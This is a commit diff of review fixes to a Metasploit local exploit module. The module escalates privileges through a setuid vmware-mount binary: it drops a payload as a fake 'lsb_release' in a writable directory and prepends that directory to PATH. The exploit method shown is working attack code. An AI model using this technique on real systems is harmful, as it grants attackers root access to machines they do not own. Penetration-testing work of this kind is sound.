review comments
This commit is contained in:
@@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
register_file_for_cleanup path
|
||||
chmod path, 0o755
|
||||
chmod path, 0755
|
||||
end
|
||||
|
||||
def strip_comments(c_code)
|
||||
|
||||
@@ -63,8 +63,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
]
|
||||
end
|
||||
|
||||
def vmware_mount
|
||||
'/usr/bin/vmware-mount'
|
||||
end
|
||||
|
||||
def check
|
||||
vmware_mount = '/usr/bin/vmware-mount'
|
||||
return CheckCode::Safe("#{vmware_mount} file not found") unless file? vmware_mount
|
||||
return CheckCode::Safe("#{vmware_mount} is not setuid") unless setuid? vmware_mount
|
||||
|
||||
@@ -79,13 +82,9 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
lsb_path = File.join(datastore['WritableDir'], 'lsb_release')
|
||||
write_file(lsb_path, generate_payload_exe)
|
||||
cmd_exec("chmod +x #{lsb_path}")
|
||||
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH /usr/bin/vmware-mount")
|
||||
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH #{vmware_mount}")
|
||||
# Delete it here instead of using FileDropper because the original
|
||||
# session can clean it up
|
||||
cmd_exec("rm -f #{lsb_path}")
|
||||
end
|
||||
|
||||
def setuid?(remote_file)
|
||||
!!(cmd_exec("test -u #{remote_file.strip} && echo true").index 'true')
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user